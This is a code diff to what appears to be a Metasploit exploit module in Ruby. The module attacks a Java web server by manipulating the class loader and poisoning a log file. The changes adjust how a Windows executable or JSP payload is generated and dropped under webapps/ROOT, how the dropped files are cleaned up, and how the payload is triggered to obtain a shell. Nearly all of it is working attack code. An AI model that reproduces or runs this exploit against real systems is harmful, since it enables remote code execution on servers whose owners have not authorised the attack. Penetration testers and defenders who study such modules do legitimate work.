@@ -150,6 +150,8 @@ def fix(jsp)
150
150
output << l
151
151
elsif l =~ /<%/
152
152
next
153
+ elsif l =~ /%>/
154
+ next
153
155
elsif l . chomp . empty?
154
156
next
155
157
else
@@ -163,10 +165,18 @@ def create_jsp
163
165
if target [ 'Arch' ] == ARCH_JAVA
164
166
jsp = fix ( payload . encoded )
165
167
else
166
- payload_exe = generate_payload_exe
168
+ if target [ 'Platform' ] == 'win'
169
+ payload_exe = Msf ::Util ::EXE . to_executable_fmt ( framework , target . arch , target . platform , payload . encoded , "exe-small" , { :arch => target . arch , :platform => target . platform } )
170
+ else
171
+ payload_exe = generate_payload_exe
172
+ end
167
173
payload_file = rand_text_alphanumeric ( 4 + rand ( 4 ) )
168
174
jsp = jsp_dropper ( payload_file , payload_exe )
169
- register_files_for_cleanup ( payload_file )
175
+ if target [ 'Platform' ] == 'win' && target [ 'Arch' ] == ARCH_X86
176
+ register_files_for_cleanup ( "../webapps/ROOT/#{ payload_file } " )
177
+ else
178
+ register_files_for_cleanup ( payload_file )
179
+ end
170
180
end
171
181
172
182
jsp
@@ -193,12 +203,16 @@ def exploit
193
203
194
204
# Check if the log file exists and has been flushed
195
205
196
- if check_log_file ( normalize_uri ( target_uri . to_s ) )
197
- register_files_for_cleanup ( @jsp_file )
198
- else
206
+ unless check_log_file ( normalize_uri ( target_uri . to_s ) )
199
207
fail_with ( Failure ::Unknown , "#{ peer } - The log file hasn't been flushed" )
200
208
end
201
209
210
+ if target [ 'Platform' ] == 'win' && target [ 'Arch' ] == ARCH_X86
211
+ register_files_for_cleanup ( "../webapps/ROOT/#{ @jsp_file } " )
212
+ else
213
+ register_files_for_cleanup ( @jsp_file )
214
+ end
215
+
202
216
# Prepare the JSP
203
217
print_status ( "#{ peer } - Generating JSP..." )
204
218
jsp = create_jsp
@@ -213,7 +227,9 @@ def exploit
213
227
end
214
228
215
229
# Check log file... enjoy shell!
216
- check_log_file ( random_request )
230
+ unless target [ 'Arch' ] == ARCH_JAVA
231
+ check_log_file ( random_request )
232
+ end
217
233
218
234
# No matter what happened, try to 'restore' the Class Loader
219
235
properties = {
@@ -223,6 +239,11 @@ def exploit
223
239
:file_date_format => ''
224
240
}
225
241
modify_class_loader ( properties )
242
+
243
+ if target [ 'Arch' ] == ARCH_JAVA
244
+ send_request_cgi ( { 'uri' => normalize_uri ( "/" , @jsp_file ) } )
245
+ end
246
+
226
247
end
227
248
228
249
end
0 commit comments